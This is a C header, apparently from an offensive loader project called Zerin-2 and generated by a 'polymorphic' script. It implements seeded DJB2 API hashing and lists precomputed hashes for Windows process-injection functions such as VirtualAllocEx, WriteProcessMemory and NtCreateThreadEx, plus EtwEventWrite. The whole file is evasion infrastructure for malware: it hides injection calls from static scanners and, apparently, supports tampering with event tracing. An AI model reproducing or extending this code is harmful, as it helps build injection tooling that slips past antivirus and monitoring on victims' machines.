Files
Zerin-2/include/poly_hash.h
T

58 lines
1.7 KiB
C
Raw Normal View History

2026-08-27 11:03:10 -06:00
// Auto-generated by generate_polymorphic.py - DO NOT EDIT
// Algorithm: DJB2(init=5419,mult=33)
#ifndef POLY_HASH_H
#define POLY_HASH_H
#include <stdint.h>
#include <stddef.h>
// Hash function for narrow (char*) API names
static inline uint32_t hash_api(const char *name) {
uint32_t h = 5419u;
int c;
while ((c = *name++) != 0)
h = h * 33u + (uint32_t)c;
return h;
}
// Hash function for wide (wchar_t*) module names, lowercased
static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {
uint32_t h = 5419u;
size_t i;
for (i = 0; i < chars; i++) {
wchar_t c = name[i];
if (c == 0) break;
if (c >= L'A' && c <= L'Z') c += 32;
h = h * 33u + (uint32_t)c;
}
return h;
}
// Pre-computed module name hashes (wide, lowercased)
#define HASH_NTDLL 0xbc6540d3
#define HASH_KERNEL32 0x385c579b
#define HASH_ADVAPI32 0x2f3bf36f
#define HASH_USER32 0x262ebb99
// Pre-computed function name hashes (narrow)
#define HASH_NtAllocateVirtualMemory 0x1e3b68b2
#define HASH_NtProtectVirtualMemory 0xc01ef36e
#define HASH_NtWriteVirtualMemory 0x9de0d6b8
#define HASH_NtCreateThreadEx 0x9763ad56
#define HASH_NtClose 0x9d53aca3
#define HASH_NtQueryInformationProcess 0xcf5b9348
#define HASH_NtFreeVirtualMemory 0x94eb8a4f
#define HASH_RtlGetVersion 0x082c3803
#define HASH_NtQuerySystemInformation 0x79ebc5ce
#define HASH_VirtualAllocEx 0x3008a55a
#define HASH_WriteProcessMemory 0xaf8e166e
#define HASH_VirtualProtectEx 0xa46a1e50
#define HASH_VirtualFreeEx 0x1548e9f1
#define HASH_OpenProcess 0xb556da3c
#define HASH_VirtualAlloc 0x004778bd
#define HASH_VirtualFree 0xaaafab94
#define HASH_VirtualProtect 0xc0ea3c33
#define HASH_EtwEventWrite 0xf0315e08
#endif // POLY_HASH_H